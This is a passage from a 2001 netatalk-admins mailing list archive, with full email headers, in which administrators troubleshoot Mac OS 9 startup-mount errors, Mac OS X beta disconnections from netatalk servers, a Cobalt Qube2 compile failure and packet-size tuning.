References: <Pine.LNX.4.21.0103151558260.929-100000@valhalla.navis.com>
Date: Thu, 15 Mar 2001 17:38:09 -0800
To: Aaron Levitt <alevitt@navis.com>
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: Volume mounting at startup with OS9.x
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>
>I am using netatalk-1.4b2+asun2.1.4 on my main production redhat 6.2 linux
>box with a 2.2.14 kernel.  It has been performing great until recently.
>As more and more of our users upgrade to OS9 we are seeing an increasing
>number of people that are having problems having volumes mount at boot
>time and via aliases.
>
IMHO you really shouldn't use the "mount server at boot time" option 
on a mac, especially on a production machine.  if the server goes 
down, for _any_ reason, including being replaced, you will have an 
office full of macs that may or may not boot, while they frantically 
try to mount what's not there, and a crowd of possibly hostile, and 
definitely confused users.  it can be a real nightmare.  i usually 
try to get my users to use an alias, or apple menu->recent servers. 
the benefits of startup mounting do not outweigh the problems, unless 
your users are comfortable with starting with extensions off and 
trashing the system folder->servers entries when the machine doesn't 
boot, and knowing why they are doing it.  that said...

>Currently, one of our shares can't be selected to be mounted at startup,
>when you try to check the box to have it mount at startup, it complains
>about "The command could not be completed because it contains items that
>are in use."
>
what do your config files look like for this share?  is it different 
in any way from the others?  does this one also share to windows via 
samba?  how about nfs? one of the things that's different about os9 
is that the appletalk (or open transport) changed and became more 
tcp/ip native.  you'll notice that with os9 (via the "shareways" 
extention) you can share files from mac to mac over the internet (not 
that you want to be broadcasting your files all over!) or over 
different networks, and access volumes that are not on your network 
(and therefore not in the chooser) just by typing in the ip, much 
like ftp.  appleshare ip (and of course, netatalk!) were able to 
broadcast like this, but not your regular old mac (without extra 
software).  what this means is that the old localtalk networks have 
been somewhat phased out, and it may be you are running netatalk 
without afpd configured correctly.  what does your afpd file look 
like?  do you bind your server to ip's?  do you bind your shares to 
different ports?  mine looks like this:

machine_name	-address 192.168.1.10

but i think i would add separate ports if i had as many shares as you 
(see below).  i think this problem can be solved by tweaking the 
configs, so if you would share the relevant parts, i think we could 
get somewhere.

>Also, with the same share, if you try to make an alias of it anywhere on
>the mac, it gives the same error as above.
>
yeah, that's a real problem.

>The other issue is if you create an alias of another paticular share, a
>different one will actually be mounted when you try mounting it via the
>alias.  It will mount the same different share every time.
>
once again, i need to see the appropriate configs on this, and you 
may want to bind to different ports.

>We have 18 seperate shares, all shared via netatalk and samba, and these 2
>are the only ones with problems and only with OS 9, 9.0.4 and 9.1.
>Everything functions normally with macOS < OS9.  We have looked at all the
>config files and even recreated the AppleVolumes.default file thinking it
>may have gotten some strange cr's or spaces somewhere, but still have the
>same results.  We have also tried dumping the System folder/Servers files
>and had no change, and even tried a fresh install of OS9.
>
are all 18 on the same machine? have you thought about splitting some 
of these up on to other linux boxes?  it seems a bit excessive, 
unless you are counting the users home directories.

>Any suggestions would greatly be appreciated.
>
>-Aaron Levitt

hope that helps,

walt reed

From netatalk.administrators-errors@umich.edu  Thu Mar 15 20:44:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA16082
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 20:44:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA00258
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 20:44:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA00247
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 20:44:09 -0500 (EST)
Received: from blackbaud.mpa.pvt.k12.mn.us (s8-134.mpa.pvt.k12.mn.us [204.169.134.8] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA00231
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 20:44:08 -0500 (EST)
Received: from [204.169.135.161] (HELO andyc)
  by blackbaud.mpa.pvt.k12.mn.us (CommuniGate Pro SMTP 3.3)
  with ESMTP id 60130 for netatalk-admins@umich.edu; Thu, 15 Mar 2001 19:44:13 -0600
Message-ID: <000c01c0adba$9a533300$a187a9cc@mpa.pvt.k12.mn.us>
Reply-To: "Andy Charrier" <acharrier@laptop.mpa.pvt.k12.mn.us>
From: "Andy Charrier" <acharrier@blackbaud.mpa.pvt.k12.mn.us>
To: <netatalk-admins@umich.edu>
Subject: 
Date: Thu, 15 Mar 2001 19:44:12 -0600
Organization: MPA
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0009_01C0AD88.4F8975A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C0AD88.4F8975A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

subscribe

------=_NextPart_000_0009_01C0AD88.4F8975A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>subscribe</FONT></DIV></BODY></HTML>

------=_NextPart_000_0009_01C0AD88.4F8975A0--


From netatalk.administrators-errors@umich.edu  Thu Mar 15 22:27:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA18789
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 22:27:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA00112
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 22:27:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA00103
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 22:27:34 -0500 (EST)
Received: from mta2-rme.xtra.co.nz (mta2-rme.xtra.co.nz [203.96.92.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA00068
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 22:27:32 -0500 (EST)
Received: from [192.168.2.9] by mta2-rme.xtra.co.nz with SMTP
          id <20010316032739.MIB17343171.mta2-rme.xtra.co.nz@[192.168.2.9]>
          for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 16:27:39 +1300
From: Marcus <marcus@darena.co.nz>
Reply-To: marcus@darena.co.nz
To: netatalk-admins@umich.edu
CC: 
Subject: Re: Mac OS X - connecting to Netatalk servers
Date: Fri, 16 Mar 2001 3:28:52 +0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20010316032739.MIB17343171.mta2-rme.xtra.co.nz@[192.168.2.9]>

I have been using one of the "later than the public beta(4k17)" versions of OSX(4k78), and connecting to netatalk-1.4b2+asun214-37b servers fine. Last night I backed up my Titanium Powerbook to a netatalk server (4GB of data) without a problem.
I have had a friend of mine report that coping a HUGE amount of data would cause OSX to kernel panic, but that was 4k29.
Don't use the "official" public beta for testing, it is a completely different OS to the later ones...which is a relief. I am running netatalk on a Mandrake 7.2 on a IBM e-server x200, and using netatalk-1.4b2+asun214-37b with encrypted passwords support.

mrad01 

> 
> From: "David J. Shaub" <zer0@mac.com>
> Date: Thu, 15 Mar 2001 20:05:30 -0500
> To: netatalk-admins@umich.edu
> Subject: Mac OS X - connecting to Netatalk servers
> 
> Although I haven't helped anyone on this list yet - maybe one day I can.
> 
> I have been playing around with Mac OS X and it seems there is a 
> problem.  Netatalk volumes are not accessible.  While watching 
> /var/log/messages, it seems the authentication goes through.  You then 
> get your list of accessible shares, but when you attempt to mount them - 
> the server disconnects the client(Mac OS X box). 
> 


From netatalk.administrators-errors@umich.edu  Thu Mar 15 23:25:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA20009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 23:25:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA22235
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 23:25:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA22219
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 23:25:08 -0500 (EST)
Received: from heretic.mabaleb.org (heretic.mabaleb.org [63.225.255.133])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA22191
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 23:25:07 -0500 (EST)
From: mbartosh@heretic.mabaleb.org
Received: from localhost (mbartosh@localhost)
	by heretic.mabaleb.org (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA21019;
	Wed, 14 Mar 2001 19:27:54 -0600
Date: Wed, 14 Mar 2001 19:27:54 -0600 (CST)
To: "David J. Shaub" <zer0@mac.com>
cc: netatalk-admins@umich.edu
Subject: Re: Mac OS X - connecting to Netatalk servers
In-Reply-To: <QQkgnk27600.200103160105@mr4.ash.ops.us.uu.net>
Message-ID: <Pine.LNX.4.21.0103141926020.21003-100000@heretic.mabaleb.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


To get an amaxing amount of verbosity, so (on Mac OS X):

setenv AFP_DEBUG_LEVEL 8

then

bartosh% mount_afp 
usage: mount_afp [-o option1[,option2...]] 
                afp://[username:password]@rhost[:port]/volume node


Later-

-mab



On Thu, 15 Mar 2001, David J. Shaub wrote:

>Although I haven't helped anyone on this list yet - maybe one day I can.
>
>I have been playing around with Mac OS X and it seems there is a 
>problem.  Netatalk volumes are not accessible.  While watching 
>/var/log/messages, it seems the authentication goes through.  You then 
>get your list of accessible shares, but when you attempt to mount them - 
>the server disconnects the client(Mac OS X box).  In the log you see:
>
>Mar 15 19:57:50 macsupport afpd[8556]: ASIP session:548(2) from 
>153.39.168.41:49288(0)
>Mar 15 19:57:50 macsupport afpd[818]: server_child[1] 8556 done
>Mar 15 19:57:58 macsupport afpd[8557]: ASIP session:548(2) from 
>153.39.168.41:49289(0)
>Mar 15 19:57:58 macsupport afpd[8557]: dhx login: dshaub
>Mar 15 19:57:58 macsupport PAM_pwdb[8557]: (netatalk) session opened for 
>user dshaub by (uid=0)
>Mar 15 19:57:58 macsupport afpd[8557]: login dshaub (uid 501, gid 501)
>Mar 15 19:58:05 macsupport afpd[8557]: dsi_stream_read(0): No such 
>process
>Mar 15 19:58:05 macsupport PAM_pwdb[8557]: (netatalk) session closed for 
>user dshaub
>Mar 15 19:58:05 macsupport afpd[8557]: 0.84KB read, 8.92KB written
>Mar 15 19:58:05 macsupport afpd[8557]: Connection terminated
>Mar 15 19:58:05 macsupport afpd[818]: server_child[1] 8557 exited 1
>
>On the machine attempting to connect you get:
>
>Disconnected
>The file server "macsupport" connection has unexpectedly closed down.
>
>My Netatalk boxes are all Redhat 7 running on various Dell hardware  
>I've tried 1.5 as well as the old 1.4+asun version that was always 
>recommended.  I know it may be silly to expect the non final version of 
>OS X to work perfectly - but I am a little suspicious that Apple has 
>made some changes that will need to be adjusted to.  Mounting OS 9 or 
>AppleShare IP servers work fine. If anyone has ideas - I would love to 
>hear!
>
>Thanks,
>David Shaub
>


From netatalk.administrators-errors@umich.edu  Fri Mar 16 00:41:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA22424
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Mar 2001 00:41:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA03599
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Mar 2001 00:41:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA03586
	for netatalk.administrators-members@umich.edu; Fri, 16 Mar 2001 00:41:50 -0500 (EST)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA03554
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 00:41:48 -0500 (EST)
Received: from paulkrohn.com (wallace.daemonize.com [10.77.1.3])
	by gromit.daemonize.com (8.9.3/8.9.2) with ESMTP id VAA09166;
	Thu, 15 Mar 2001 21:41:47 -0800
Message-ID: <3AB1A788.51239BFE@paulkrohn.com>
Date: Thu, 15 Mar 2001 21:41:28 -0800
From: Paul Krohn <pkrohn@paulkrohn.com>
X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu,
        "cobalt-developers@list.cobalt.com" <cobalt-developers@list.cobalt.com>
Subject: netatalk compile on qube2?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

has anyone else out there successfully compiled a recent version of
netatalk on a qube2?

to get started, i had to install a number of gnu tools (automake and
autoconf among others -- be sure to install these on top of the distro,
into /usr rather than /usr/local). i'd have to do that for lots of
packages, so no biggie.

i get the following errors, trying to compile netatalk-1.5pre5 and netatalk-1.5pre4:

afp_config.c: In function `ASPConfigInit':
afp_config.c:181: `VERSION' undeclared (first use this function)
afp_config.c:181: (Each undeclared identifier is reported only once
afp_config.c:181: for each function it appears in.)
afp_config.c: In function `DSIConfigInit':
afp_config.c:230: `VERSION' undeclared (first use this function)


i'm not a c programmer, so i really have no idea what's up. i configured
with ./configure --enable-cobalt, which seemed to create the correct
layout. 

also, this is a little OT, but i'd like to finally figure out how to
create an rpm package for other qube/raq 2 users out there -- that puts
the binaries and config files where cobalt expects them, so as not to
break the web interface. is that what the --enable-cobalt option is
supposed to do/does, were it to compile?

fwiw, the qube2 is based on redhat 5.

thanks, of course, in advance for your help.

From netatalk.administrators-errors@umich.edu  Fri Mar 16 04:59:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA28469
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Mar 2001 04:59:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA14979
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Mar 2001 04:59:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA14973
	for netatalk.administrators-members@umich.edu; Fri, 16 Mar 2001 04:59:24 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA14929
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 04:59:20 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id UAA17480
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 20:59:16 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3AB1E494.5F7733CF@arts.usyd.edu.au>
Date: Fri, 16 Mar 2001 21:01:56 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Mac OS X - connecting to Netatalk servers
References: <20010316032739.MIB17343171.mta2-rme.xtra.co.nz@[192.168.2.9]>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msB6E0946CB23F5D7ED58A5C27"

This is a cryptographically signed message in MIME format.

--------------msB6E0946CB23F5D7ED58A5C27
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Marcus wrote:
> 
kernel panic, but that was 4k29.
> Don't use the "official" public beta for testing, it is a completely different OS to the later ones...which is a relief. 

 So the public beta was basicly a con job and completely useless for
testing network interoperablity. Which was the only reason we got it in
the first place. Fortunatly 
we were sent the copy, and didn't actually have to buy it...

 Would have been nice if they actually made use of its update tool and
let people update their beta copies in line with the current development
track.
--------------msB6E0946CB23F5D7ED58A5C27
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMzE2MTAwMTU4WjAjBgkq
hkiG9w0BCQQxFgQUPuPH9UlrI0F4pWdwef68xoO7+N4wOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYDA89BGG7B2yalSN/A7z80xVyJlTalpiUCfLqZWfsCyvabhkOlrJr18D3JMskI0EvUnsEgb
1mvoBTZjAXypGP39SYwbTtKZx/X4qiV3FbD5bpJVU8sr019O/fO0zH6I9gQyy/N3IkhTGQ3J
Lrji/9VE6O0cMCydXlc4xcVCkNeqEA==
--------------msB6E0946CB23F5D7ED58A5C27--


From netatalk.administrators-errors@umich.edu  Fri Mar 16 09:13:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA02709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Mar 2001 09:13:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA14238
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Mar 2001 09:13:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA14223
	for netatalk.administrators-members@umich.edu; Fri, 16 Mar 2001 09:13:06 -0500 (EST)
Received: from sdt-ntas.nfb.ca (SDT-NTAS.NFB.CA [199.84.162.26])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA14182
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 09:13:05 -0500 (EST)
Received: by SDT-NTAS.NFB.CA with Internet Mail Service (5.5.2653.19)
	id <GRMRGJ2W>; Fri, 16 Mar 2001 09:12:52 -0500
Message-ID: <16A5AD2F8968D311B7C400508B136F31024D7256@SDT-NTAS.NFB.CA>
From: St-Pierre Marc <m.st-pierre@onf.ca>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: setting packet size
Date: Fri, 16 Mar 2001 09:12:46 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain


Hi all, 

I have netatalk running on a file server that also runs samba. I was
wondering if there is a way in netatalk to set the sent packet size, like
the max xmit  option of samba.

I suspect that the server might end up timing out connections because of too
many dropped packets on the client side, and those dropped packets can be
caused by too lage packets on the server side. In a setup where the server
has Gb ethernet and clients 100 bT, it is plausible. Reducing the packet
side from the server would then be a fix, and probably improving general
performance also.

Has anybody experience this situation?

Thanks.

From netatalk.administrators-errors@umich.edu  Fri Mar 16 09:31:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA03494
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Mar 2001 09:31:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA16812
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Mar 2001 09:31:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA16788
	for netatalk.administrators-members@umich.edu; Fri, 16 Mar 2001 09:31:29 -0500 (EST)
Received: from heretic.mabaleb.org (heretic.mabaleb.org [63.225.255.133])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA16568
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 09:31:28 -0500 (EST)
From: mbartosh@heretic.mabaleb.org
Received: from localhost (mbartosh@localhost)
	by heretic.mabaleb.org (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id FAA23051;
	Thu, 15 Mar 2001 05:34:16 -0600
Date: Thu, 15 Mar 2001 05:34:16 -0600 (CST)
To: Matthew Geier <matthew@arts.usyd.edu.au>
cc: netatalk-admins@umich.edu
Subject: Re: Mac OS X - connecting to Netatalk servers
In-Reply-To: <3AB1E494.5F7733CF@arts.usyd.edu.au>
Message-ID: <Pine.LNX.4.21.0103150531190.21003-100000@heretic.mabaleb.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Public beta was not a con job, and it was not a "completely different
OS". It was an early version of the OS, and just like all prerelease OS's,
there were things that weren't done. If everything was done it wouldn't be
'beta', it would be release.

-mab

On Fri, 16 Mar 2001, Matthew Geier wrote:

>Marcus wrote:
>> 
>kernel panic, but that was 4k29.
>> Don't use the "official" public beta for testing, it is a completely different OS to the later ones...which is a relief. 
>
> So the public beta was basicly a con job and completely useless for
>testing network interoperablity. Which was the only reason we got it in
>the first place. Fortunatly 
>we were sent the copy, and didn't actually have to buy it...
>
> Would have been nice if they actually made use of its update tool and
>let people update their beta copies in line with the current development
>track.


From netatalk.administrators-errors@umich.edu  Fri Mar 16 11:25:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA05772
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Mar 2001 11:25:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04333
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Mar 2001 11:25:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04254
	for netatalk.administrators-members@umich.edu; Fri, 16 Mar 2001 11:25:18 -0500 (EST)
Received: from mr2.ash.ops.us.uu.net (mr2.ash.ops.us.uu.net [198.5.241.87])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA04197
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 11:25:15 -0500 (EST)
Received: from localhost by mr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: macsupport2.corp.us.uu.net [153.39.168.41])
	id QQkgpt24596
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 16:25:12 GMT
Message-Id: <QQkgpt24596.200103161625@mr2.ash.ops.us.uu.net>
Date: Fri, 16 Mar 2001 11:25:04 -0500
Content-Type: multipart/alternative;
	boundary=Apple-Mail-1797652249-1
X-Mailer: Apple Mail (2.387)
From: "David J. Shaub" <zer0@mac.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <20010316032739.MIB17343171.mta2-rme.xtra.co.nz@[192.168.2.9]>
Subject: Re: Mac OS X - connecting to Netatalk servers


--Apple-Mail-1797652249-1
Content-Transfer-Encoding: 7bit
